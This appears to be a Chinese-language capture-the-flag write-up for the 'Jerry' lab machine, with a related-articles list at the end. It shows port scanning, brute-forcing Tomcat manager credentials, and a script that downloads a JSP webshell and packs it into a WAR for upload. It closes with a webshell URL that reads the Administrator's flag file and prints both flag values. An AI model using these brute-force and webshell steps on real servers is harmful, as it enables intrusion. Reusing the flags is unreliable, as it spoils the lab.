[Meachines] [Easy] jerry Tomcat用户暴力破解+war包webshell上传

信息收集

IP Address Opening Ports
10.10.10.95 TCP:8080

$ sudo masscan -p1-65535 10.10.10.95 --rate=1000 -e tun0 > /tmp/ports

$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

$ nmap -p$ports 10.10.10.95 --min-rate 1000 -sC -sV -Pn

bash 复制代码
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.89 seconds

Tomcat

https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py

爆破tomcat密码

$ python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95

s3cret

创建 WAR 包

bash 复制代码
# gen_war.sh
#!/bin/sh 
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp -O index.jsp 
rm -rf wshell 
rm -f wshell.war 
mkdir wshell 
cp index.jsp wshell/ 
cd wshell 
jar -cvf ../wshell.war * 

$ chmod +x gen_war.sh

$ ./gen_war.sh

可以直接通过这个目录找到两个Flag

http://10.10.10.95:8080/wshell/?sort=1&file=C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt

User.txt

7004dbcef0f854e0fb401875f26ebd00

Root.txt

04a8b36e1545a455393d067e772fe90e

相关推荐
天文家2 分钟前
深入理解装饰器与适配器:从设计模式到 Spring AOP 的工程实践
java·设计模式
贺国亚6 分钟前
Spring-AI与LangChain4j
java·人工智能·spring
野生技术架构师20 分钟前
2026 Java面试宝典(春招/社招/秋招通用):没有前言,只有答案,直接开背
java·开发语言·面试
mN9B2uk1725 分钟前
数据库的约束简介
java·数据库·sql
AI人工智能+电脑小能手29 分钟前
【大白话说Java面试题 第99题】【Mysql篇】第29题:如何选择合适的分布式主键方案?
java·数据库·分布式·mysql·面试
极光代码工作室33 分钟前
基于SpringBoot的任务管理系统
java·springboot·web开发·后端开发
人道领域1 小时前
【LeetCode刷题日记】131.分割回文串,动态规划优化
java·开发语言·leetcode
z落落1 小时前
C# 接口 interface (多接口实现、类+接口、成员重名)
java·开发语言
发际线向北1 小时前
0x05 深入了解JVM虚拟机(JVM方法调用 -Ⅰ)
java
宋哥转AI1 小时前
学了Spring AI Graph再看LangGraph,发现API几乎一模一样
java·人工智能·agent